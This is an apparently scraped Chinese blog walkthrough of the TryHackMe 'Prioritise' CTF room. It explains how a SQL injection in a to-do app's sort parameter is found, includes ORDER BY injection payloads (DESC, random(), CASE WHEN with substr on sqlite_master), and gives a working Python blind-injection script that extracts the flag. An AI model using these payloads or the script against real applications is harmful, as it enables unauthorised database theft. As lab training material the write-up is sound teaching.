news 2026/1/14 10:55:11

【tryhackme靶场】Prioritise

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【tryhackme靶场】Prioritise

题目

We have this new to-do list application, where we order our tasking based on priority! Is it really all that secure, though...? 我们有了这个新的待办事项应用,可以根据优先级来安排任务!不过,它真的那么牢固吗......?

信息收集

依旧nmap扫描

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open rtsp

只有俩端口,看80先

先扫一下目录

没东西,看一下页面的功能点和前端以及js源码吧

都没看到有用的信息

添加时间抓包看到一个数据包

POST /new HTTP/1.1 Host: 10.80.147.204 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 63 Origin: http://10.80.147.204 Connection: keep-alive Referer: http://10.80.147.204/?success=Deleted%20item Upgrade-Insecure-Requests: 1 Priority: u=0, i title=123&date=12%2F09%2F202512/09/2025

尝试直接用最简单的sqlmap命令注入date失败

尝试使用--level=5加深注入

还是不行

思路

重新审一下题目,在题目中说

可以根据优先级来安排任务!不过,它真的那么牢固吗......

在页面中找了一下

果然有一个排序的位置

确认排序为截止时间

参数名称是order

当控制这个参数进行排序的时候

  • 访问/?order=title,任务按字母顺序排序。
  • 访问/?order=date,任务按日期排序。

这恰巧证明了order参数能够直接控制SQL查询的逻辑(即ORDER BY子句的内容)

当在order参数后面加一个单引号,网站报错如下:

页面返回500 Internal Server Error,而正常访问返回200 OK,这通常意味着单引号破坏了SQL语句的语法结构!

如果使用了参数化查询(安全写法),输入单引号通常只会导致找不到该列名,而不会导致整个数据库查询崩溃报500错误。报错即意味着拼接存在

验证注入点

先新建两三个时间不同的内容,类似下图

可以看到当前是按照由小到大的方式排序

使用参数

/?order=date+DESC

这里发现变成由大到小

通过这样的方式成功判断出这里便是注入点!!

分析

脑部一下后端数据库语句

-- 正常情况 SELECT title, date FROM tasks ORDER BY title; -- 攻击情况 (注入点在 ORDER BY 后面) SELECT title, date FROM tasks ORDER BY (这里是你的 Payload);
为什么排序改变判断出这里是注入点

从数据的视角来看:如果头部做了安全处理,它可能只允许title或者date这几个固定单词。如果你输入date DESC,头部会认为这是一个不存在的列名,从而不予理睬或报错。

从代码的视角来看: 如果存在缺陷,它可以让你的输入直接拼接到SQL语句中。

当发送/?order=date+DESC

  1. date DESC塞进 SQL:SELECT ... ORDER BY date DESC;
  2. 数据库接收到指令,它不只是看到了date,还看到了指令DESC
  3. 页面上的任务顺序出现了从最新的日期排到最旧的日期。

结论:因为页面顺序变了,不仅说明了可控参数,还说明了发送的 SQL 关键字(DESC)被数据库成功解析并执行了。确认这是存在“拼接注入”最简单、干扰最小的方法。

什么是DESC

DESC降序(降序)的缩写。对应的是ASC升序,升序)。

  • ASC (默认):一致到大排列。数字是 1 到 10,字母是 A 到 Z,日期是从过去到未来。
  • DESC:从大到小排列。数字是 10 到 1,字母是 Z 到 A,日期是从未来(最晚)到过去(最早)。

在靶场中,Zebra (1990)并且Apple (2025)

  • 执行ORDER BY date ASC:1990年较小,排在上面。
  • 执行ORDER BY date DESC:2025年增加,排在上面。
还有哪些和DESC类似的验证手段

另外DESC,在ORDER BY注入点还有几种常见的验证技巧,可以用来进一步认知漏洞:

A. 列位置编号(Column Index)

SQL 允许使用数字来代替列名。ORDER BY 1表示按查询结果的第一列排序,ORDER BY 2表示第二列。

  • 操作:尝试/?order=1/?order=2
  • 意义:如果页面顺序在切换数字时发生变化,说明该位置确实是ORDER BY子句。如果输入一个极大的数字(如order=999)导致页面报错,则更能确认。
B.随机排序函数(Random Function)

不同的数据库有不同的随机函数。

  • SQLite/PostgreSQL/?order=random()
  • MySQL/?order=rand()
  • 验证:每刷新一次页面,任务的顺序都是随机乱跳的。这可以100%确认注入点,并且可以顺便探测出数据库类型。
C. 报错触发(Error-based Trigger)

尝试强制让数据库执行错误的攻击。

  • 操作/?order=(SELECT+1+UNION+SELECT+2)
  • 逻辑:在SQLite中,ORDER BY后面如果跟着一个返回多行数据的子查询,数据库会崩溃。
  • 反馈:如果页面返回500错误,说明子查询已执行了。
D.基于条件的排序(Conditional Sorting - 最后使用的方法)

这是最有力的验证,也是写脚本的基础。

  • 操作/?order=(CASE+WHEN+(1=1)+THEN+title+ELSE+date+END)
  • 意义:这不仅仅是排序,在把ORDER BY变成一个逻辑开关。如果1=1(真),它就按标题排序;如果1=2(假),它就按日期排序。这种“根据错误改变顺序”的能力,就是盲注的本质。

判断数据库

mysql使用

随机函数rand()

SQLite和 PostgreSQL 数据库

随机函数:random()

发现顺序一直在随机改变,判断为数据库SQLite

构造payload

判断第一个字符是否是f

(CASE WHEN (substr((SELECT flag FROM flag LIMIT 1),1,1)='f') THEN date ELSE title END)
  • 数据源:(SELECT flag FROM flag LIMIT 1)

从名为flag的表中取出第一行数据(即我们要找的Flag字符串)。

  • 切片探测:substr(..., 1, 1)

将取出的Flag字符串进行切片,从第1个位置开始,截取长度为1的字符。

  • 对比:= 'f'

询问数据库:“这个截取来的字符,是不是小写字母f?”

  • 结果产出(评级)
  • 如果是“f”$\rightarrow$返回date(让数据库按日期排列,此时Zebra登顶)。
  • 如果不是“f”$\rightarrow$返回title(让数据库按标题排,此时Apple登顶)。

发现按照时间进行了排序

分析

/?order=(CASE+WHEN+(substr((SELECT+name+FROM+sqlite_master+WHERE+type='table'+AND+name+LIKE+'%25flag%25'+LIMIT+1),1,1)='f')+THENcontent+date+ELSE+title+END
什么是CASE WHEN

CASE WHEN是SQL语言中的逻辑表格表达式,类似于编程语言(如Python、Java或C)中的if-else语句。其基本语法结构如下:

CASE WHEN 条件1 THEN 结果1 ELSE 结果2 END
  • CASE: 开启逻辑判断。
  • WHEN (条件): 后面跟着一个判断题。如果这个条件成立(为真),就执行THEN后面的部分。
  • THEN (结果1): 如果条件为真,整个CASE表达式的返回值就是“结果1”。
  • ELSE (结果2): 如果条件不成立(为假),整个CASE表达式的返回值就是“结果2”。
  • END: 迎来这个逻辑判断块的结束。
什么是 THEN date ELSE title END

在注入场景中,这个语句被拼接在ORDER BY后面。右边的 SQL 语句看起来大概是这样的:SELECT * FROM tasks ORDER BY (CASE WHEN (判断条件) THEN date ELSE title END);

THEN date(条件成立时的行为)
  • 意义:如果substr(...) = 'f'成立(即标志的第一个字母确实是f),数据库就会执行ORDER BY date
  • 页面表现:由于你的Zebra任务日期是1990-01-01,而Apple的日期是2025-01-01,按照日期升序排列,Zebra会排在最上面
  • 结论:当你看到Zebra跑到了第一行时,你就通过“日期排序”得到了一个信号:条件为真!
B.ELSE title(条件不成立时的行为)
  • 意义:如果判断条件不成立(比如你猜第一个字母是'a'),数据库会执行ORDER BY title
  • 页面表现:按照标题字母顺序排列,Apple (A)会排在Zebra (Z)前面。此时Apple会出现在第一行
  • 结论:当你看到Apple仍然在第一行时,说明排名为标题,即条件为假
最内层
(CASE+WHEN+(substr((SELECT+flag+FROM+flag+LIMIT+1),1,1)=%27f%27)+THEN+date+ELSE+title+END)

sqlite_master:这是SQLite数据库内置的一个系统表,记录了所有表、索引和视图的名称及结构。

type='table':确保我们只找到真实的表,排除索引或其他干扰项。

name LIKE '%flag%':这是一个模糊匹配(URL编码后为%25flag%25)。它的数据库:“我不知道表名的全称,但把名字里带flag的表查找出来。”

LIMIT 1:非常关键。由于substr只能处理一个字符串,如果存在多个表,我们必须强制只返回第一个,否则SQL语法会报错。

逻辑层探测:字符切片与对比

该层负责验证我们找到的表名到底长什么样:substr((...数据层...), 1, 1) = 'f'

  • substr(string, start, length):字符串切片函数。1, 1表示从第1个位置开始,截取长度为1的字符。
  • = 'f':这是一个逻辑判断。它向数据库提问:“刚才找到了那个名字,它的第一个字母不是f?”
  • 结果:如果第一个字母是f,该整串表达式就会返回True(真);否则返回False(假)
反馈表现层:CASE排序控制

这是最外层的框架,从而抽象的逻辑判断(真/假)转换成肉眼可见的网页变化:ORDER BY (CASE WHEN (条件) THEN date ELSE title END)

  • CASE WHEN (条件):如果第二层的探测结果为“真”(即表名确实以f地下)。
  • THEN date:最近 SQL 会执行ORDER BY date。因为你的Zebra任务最早(1990 年),所以它会排在最上面。
  • ELSE title:如果探测结果为“假”。则会执行 SQLORDER BY title。此时按字母顺序排列,Apple会排在最上面。
  • END:结束判断逻辑。

这里直接猜表名flag有时会失败(可能叫flagssecret_flaghidden_data)。通过查询sqlite_master并匹配LIKE '%flag%',就可以百分之百确定该表的真实名称

并且如果能够成功探测出系统表sqlite_master的内容,说明注入点具有上述的数据库查询权限。

构造脚本

最后,构造python脚本得到flag

import requests # 目标靶场的 URL 地址 url = "http://10.80.147.204/" # 用于存储最终提取出来的 flag 字符串 flag = "" # 定义我们要测试的所有可能字符,包括字母、数字和常见的 flag 符号 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-" print("[+] Starting extraction...") # 外层循环:控制 flag 的字符位置(假设 flag 长度不超过 50 个字符) for i in range(1, 50): found = False # 内层循环:遍历字符集中的每一个字符,测试当前位置是否匹配 for char in charset: # 核心 Payload 构造: # 1. substr((SELECT flag FROM flag LIMIT 1), {i}, 1) = '{char}':截取 flag 的第 i 位并与当前字符比较 # 2. CASE WHEN ... THEN date ELSE title END:如果匹配成功,则按 date 排序;否则按 title 排序 payload = f"(CASE WHEN (substr((SELECT flag FROM flag LIMIT 1),{i},1)='{char}') THEN date ELSE title END)" # 将构造好的 Payload 作为 'order' 参数传递给 GET 请求 params = {'order': payload} try: # 向服务器发送请求 r = requests.get(url, params=params) # 逻辑判断:检查页面中 Zebra 的顺序是否在 Apple 之前 # 如果 Zebra 的索引位置(find)更小,说明它排在第一行,意味着我们的 SQL 条件为“真” if "Zebra" in r.text and r.text.find("Zebra") < r.text.find("Apple"): # 如果条件为真,说明我们找到了当前位置的正确字符 flag += char print(f"[+] Found character {i}: {char} | Current flag: {flag}") found = True # 跳出内层循环,开始探测下一个位置 break except Exception as e: # 捕获请求异常,例如连接超时 print(f"[!] Error: {e}") # 如果遍历完整个字符集都没有找到匹配字符,说明 flag 探测结束 if not found: print(f"\n[+] Extraction finished. Final flag: {flag}") break
import requests url = "http://10.80.147.204/" flag = "" charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-" print("[+] Starting extraction...") 符) for i in range(1, 50): found = False for char in charset: # 核心 Payload 构造: # 1. substr((SELECT flag FROM flag LIMIT 1), {i}, 1) = '{char}':截取 flag 的第 i 位并与当前字符比较 # 2. CASE WHEN ... THEN date ELSE title END:如果匹配成功,则按 date 排序;否则按 title 排序 payload = f"(CASE WHEN (substr((SELECT flag FROM flag LIMIT 1),{i},1)='{char}') THEN date ELSE title END)" params = {'order': payload} try: r = requests.get(url, params=params) if "Zebra" in r.text and r.text.find("Zebra") < r.text.find("Apple"): # 如果条件为真,说明我们找到了当前位置的正确字符 flag += char print(f"[+] Found character {i}: {char} | Current flag: {flag}") found = True break except Exception as e: print(f"[!] Error: {e}") if not found: print(f"\n[+] Extraction finished. Final flag: {flag}") break

确认标题点:请确保已在靶场中手动创建了两个任务:一个是为Apple的任务(日期较晚),另一个是标题为Zebra的任务(日期为 1990-01-01)。这样的脚本才能通过排序来获取信号。

得到flag

flag{65f2f8cfd53d59422f3d7cc62cc8fdcd}
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/14 10:55:03

论文写作“黑科技”:解锁书匠策AI的课程论文超能力

在学术江湖里&#xff0c;课程论文就像是学生们的“新手村任务”——看似基础&#xff0c;却暗藏玄机。从选题时的“大海捞针”&#xff0c;到写作时的“逻辑混乱”&#xff0c;再到格式调整的“强迫症发作”&#xff0c;每一个环节都可能让新手学者抓狂。但别慌&#xff01;今…

作者头像 李华
网站建设 2026/1/14 10:55:02

5个SGLang-v0.5.6应用案例:云端GPU免调试,10元全试遍

5个SGLang-v0.5.6应用案例&#xff1a;云端GPU免调试&#xff0c;10元全试遍 引言 作为一名AI技术研究者&#xff0c;你是否遇到过这样的困境&#xff1a;实验室的GPU资源总是被占满&#xff0c;而导师突然要求你在下周的研讨会上展示多个大模型应用案例&#xff1f;别担心&a…

作者头像 李华
网站建设 2026/1/14 10:54:54

AI教你学Python:从零基础到写出第一个程序

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个Python入门学习助手应用&#xff0c;功能包括&#xff1a;1.交互式Python基础语法教学 2.代码自动补全和错误检测 3.提供常见编程练习题目 4.实时运行代码并显示结果 5.根…

作者头像 李华
网站建设 2026/1/14 10:54:52

STM32硬件I2C时钟拉伸应对方法深度剖析

STM32硬件I2C为何总在时钟拉伸时“翻车”&#xff1f;一文讲透底层机制与实战应对你有没有遇到过这样的场景&#xff1a;系统运行得好好的&#xff0c;突然某次读取温湿度传感器失败&#xff1b;换一台设备&#xff0c;问题又消失了&#xff1b;用逻辑分析仪抓波形&#xff0c;…

作者头像 李华
网站建设 2026/1/14 10:54:44

企业办公系统中PAGEOFFICE控件故障实战解决

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个企业级PAGEOFFICE控件修复向导应用。功能包括&#xff1a;1.检测域环境下的安装权限问题 2.自动调整组策略设置 3.批量修复多台电脑的控件注册问题 4.生成企业IT管理报告 …

作者头像 李华
网站建设 2026/1/14 10:54:41

零基础玩转通义千问2.5-7B:保姆级部署教程

零基础玩转通义千问2.5-7B&#xff1a;保姆级部署教程 随着大模型技术的快速发展&#xff0c;中等体量、高性价比的开源模型正成为个人开发者和中小团队落地AI应用的首选。通义千问2.5-7B-Instruct作为阿里云于2024年9月发布的指令微调模型&#xff0c;凭借其“全能型、可商用…

作者头像 李华